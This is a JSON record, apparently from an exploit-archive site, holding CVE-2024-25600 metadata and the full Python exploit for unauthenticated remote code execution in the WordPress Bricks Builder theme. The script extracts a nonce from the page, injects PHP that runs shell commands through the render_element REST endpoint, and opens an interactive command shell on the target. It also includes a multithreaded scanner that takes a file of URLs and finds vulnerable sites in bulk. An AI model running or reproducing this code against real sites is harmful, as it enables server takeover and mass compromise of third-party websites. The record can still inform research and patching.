{"exploit":{"id":"EDB-52619","name":"WordPress Bricks Builder Theme - Remote Code Execution (RCE)","description":"WordPress Bricks Builder Theme - Remote Code Execution (RCE)","cves":["CVE-2024-25600"],"author":"Jared Brits","published":"2026-07-07","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52619","path":"exploits/multiple/webapps/52619.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52619.py","vulnerabilities":[{"id":"CVE-2024-25600","state":"PUBLISHED","title":"WordPress Bricks Theme <= 1.9.6 - Unauthenticated Remote Code Execution (RCE) vulnerability","titleSource":"CVE Program","description":"Improper Control of Generation of Code ('Code Injection') vulnerability in Codeer Limited Bricks Builder allows Code Injection.This issue affects Bricks Builder: from n/a through 1.9.6.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2024-25600","cvss":{"version":"3.1","baseScore":10,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","source":"Patchstack","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-25600"},"updatedAt":"2026-04-28T16:09:12.815Z","retrievedAt":"2026-11-25T16:13:47.425Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52619.png?v=2","url":"https://exploitbin.com/exploits/EDB-52619","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52619/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52619/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: WordPress Bricks Builder Theme  -  RCE\n# Date: 2026-06-25\n# Exploit Author: Jared Brits (K3ysTr0K3R)\n# Vendor Homepage: https://bricksbuilder.io/\n# Software Link: https://bricksbuilder.io/\n# Version: Bricks Builder <= 1.9.6\n# Tested On: Kali Linux 2026.1 / WordPress 6.7\n# CVE: CVE-2024-25600\n# Description: Unauthenticated RCE vulnerability in Bricks Builder theme's\n# render_element endpoint. Extracts nonce from page source and\n# executes arbitrary commands on vulnerable WordPress installations.\n\nimport re\nimport requests\nimport argparse\nimport threading\nfrom bs4 import BeautifulSoup\nfrom rich.console import Console\nfrom prompt_toolkit import PromptSession, HTML\nfrom prompt_toolkit.history import InMemoryHistory\nfrom prompt_toolkit.auto_suggest import AutoSuggestFromHistory\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nfrom alive_progress import alive_bar\n\ncolor = Console()\n\ndef ascii_art():\n    color.print(\"\"\"[yellow]\n   _______    ________    ___   ____ ___  __ __       ___   ___________ ____  ____\n  / ____/ |  / / ____/   |__ \\ / __ \\__ \\/ // /      |__ \\ / ____/ ___// __ \\/ __ \\\\\n / /    | | / / __/________/ // / / /_/ / // /_________/ //___ \\/ __ \\/ / / / / / /\n/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/ __/____/ / /_/ / /_/ / /_/ /\n\\____/  |___/_____/    /____/\\____/____/ /_/       /____/_____/\\____/\\____/\\____/\n    [/yellow]\"\"\", style=\"bold\")\n    print(\"Coded By: Jared Brits (K3ysTr0K3R) --> Hello, Friend!\")\n    print(\"\")\n\nheaders = {\n        \"Content-Type\": \"application/json\",\n        \"User-Agent\": \"Mozilla/5.0 (Linux; Android 11; SM-G960U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Mobile Safari/537.36\"\n}\n\npaths = [\n    \"/wp-json/bricks/v1/render_element\",\n    \"/?rest_route=/bricks/v1/render_element\"\n]\n\nrequests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)\n\ndef fetch_nonce(target):\n    try:\n        response = requests.get(target, verify=False, timeout=10)\n        response.raise_for_status()\n        soup = BeautifulSoup(response.text, \"html.parser\")\n        script_tag = soup.find(\"script\", id=\"bricks-scripts-js-extra\")\n        if script_tag:\n            match = re.search(r'\"nonce\":\"([a-f0-9]+)\"', script_tag.string)\n            if match:\n                nonce = match.group(1)\n                return nonce\n    except Exception:\n        return None\n\ndef interactive_shell(target, nonce):\n    color.print(\"[bold bright_green][+][/bold bright_green] Interactive shell opened successfully\")\n    session = PromptSession(history=InMemoryHistory())\n\n    for vulnerable_path in paths:\n        while True:\n            try:\n                command = session.prompt(\n                    HTML(\"<ansired><b>Shell> </b></ansired>\"),\n                    auto_suggest=AutoSuggestFromHistory(),\n                )\n                if command.lower() == \"exit\":\n                    return\n                vulnerable_data = create_vulnerable_data(nonce, command)\n                response = requests.post(target + vulnerable_path, headers=headers, json=vulnerable_data, verify=False, timeout=10)\n                output = response.json().get('data').get('html')\n                cleaned_output = output.replace(\"Exception: \", \"\")\n                print(cleaned_output)\n            except KeyboardInterrupt:\n                return\n\ndef create_vulnerable_data(nonce, command):\n    return {\n        \"postId\": \"1\",\n        \"nonce\": nonce,\n        \"element\": {\n            \"name\": \"code\",\n            \"settings\": {\n                \"executeCode\": \"true\",\n                \"code\": f\"<?php throw new Exception(`{command}`);?>\"\n            }\n        }\n    }\n\ndef exploit(target):\n    nonce = fetch_nonce(target)\n    if nonce:\n        elements = [create_element(nonce) for _ in range(4)]\n\n        for path, element in zip(paths, elements):\n            if exploit_successful(target, path, element):\n                interactive_shell(target, nonce)\n                break\n\ndef exploit_successful(target, path, element):\n    color.print(\"[bold bright_blue][*][/bold bright_blue] Checking if the target is vulnerable\")\n    try:\n        response = requests.post(target + path, headers=headers, json=element, verify=False, timeout=10)\n        response.raise_for_status()\n        if response.status_code == 200 and 'KHABuhwxnUHDDW' in response.text:\n            color.print(\"[bold bright_green][+][/bold bright_green] The target is vulnerable\")\n            color.print(f\"[bold bright_blue][*][/bold bright_blue] Initiating exploit against: [bold cyan]{target}[/bold cyan]\")\n            color.print(\"[bold bright_blue][*][/bold bright_blue] Initiating interactive shell\")\n            return True\n        else:\n            color.print(\"[bold bright_red][~][/bold bright_red] The target does not appear to be vulnerable\")\n            exit()\n    except requests.exceptions.HTTPError:\n        color.print(\"[bold bright_red][~][/bold bright_red] The target does not appear to be vulnerable\")\n        return False\n\ndef create_element(nonce):\n    return {\n        \"postId\": \"1\",\n        \"nonce\": nonce,\n        \"element\": {\n            \"name\": \"container\",\n            \"settings\": {\n                \"hasLoop\": \"true\",\n                \"query\": {\n                    \"useQueryEditor\": True,\n                    \"queryEditor\": \"throw new Exception(`echo KHABuhwxnUHDDW`);\",\n                    \"objectType\": \"post\"\n                }\n            }\n        }\n    }\n\ndef scanner(target, nonce):\n    for path in paths:\n        try:\n            response = requests.post(target + path, headers=headers, json=create_element(nonce), verify=False, timeout=10)\n            response.raise_for_status()\n            if response.status_code == 200 and 'KHABuhwxnUHDDW' in response.text:\n                color.print(f\"[bold bright_green][+][/bold bright_green] Identified vulnerability in target: [bold cyan]{target}[/bold cyan]\")\n                break\n        except Exception:\n            pass\n\ndef threaded_scanner(url, nonce):\n    if nonce:\n        scanner(url, nonce)\n\ndef scan_file(target_file, threads):\n    with open(target_file, \"r\") as url_file:\n        urls = [url.strip() for url in url_file if url.strip()]\n        if not urls:\n            color.print(\"[bold bright_red][~][/bold bright_red] No URLs found in the file.\")\n            return\n\n    max_threads = threads\n    semaphore = threading.Semaphore(value=max_threads)\n\n    def thread_task(url):\n        nonce = fetch_nonce(url)\n        with semaphore:\n            threaded_scanner(url, nonce)\n            bar()\n\n    threads = []\n    with alive_bar(len(urls), title=\"Scanning Targets\", bar=\"smooth\", enrich_print=False) as bar:\n        for url in urls:\n            thread = threading.Thread(target=thread_task, args=(url,))\n            threads.append(thread)\n            thread.start()\n\n        for thread in threads:\n            thread.join()\n\ndef main():\n    ascii_art()\n    parser = argparse.ArgumentParser(description='A PoC exploit for CVE-2024-25600 - WordPress Bricks Builder Unauthenticated Remote Code Execution (RCE)')\n    parser.add_argument('-u', '--url', help='Target URL to exploit')\n    parser.add_argument('-t', '--threads', type=int, default=1, help='Adjust threading to your needs')\n    parser.add_argument('-f', '--file', help='File containing URLs to scan')\n\n    args = parser.parse_args()\n    if args.url:\n        exploit(args.url)\n    elif args.file:\n        scan_file(args.file, args.threads)\n    else:\n        parser.print_help()\n\nif __name__ == \"__main__\":\n    main()","sha256":"fc588ba9dabe1928f3b84b0c113246269944d61f5b382dbae12013bb5283baf4","bytes":7543,"fetchedAt":"2026-11-26T08:55:57.416Z","encoding":"utf-8 (display only; download retains original bytes)"}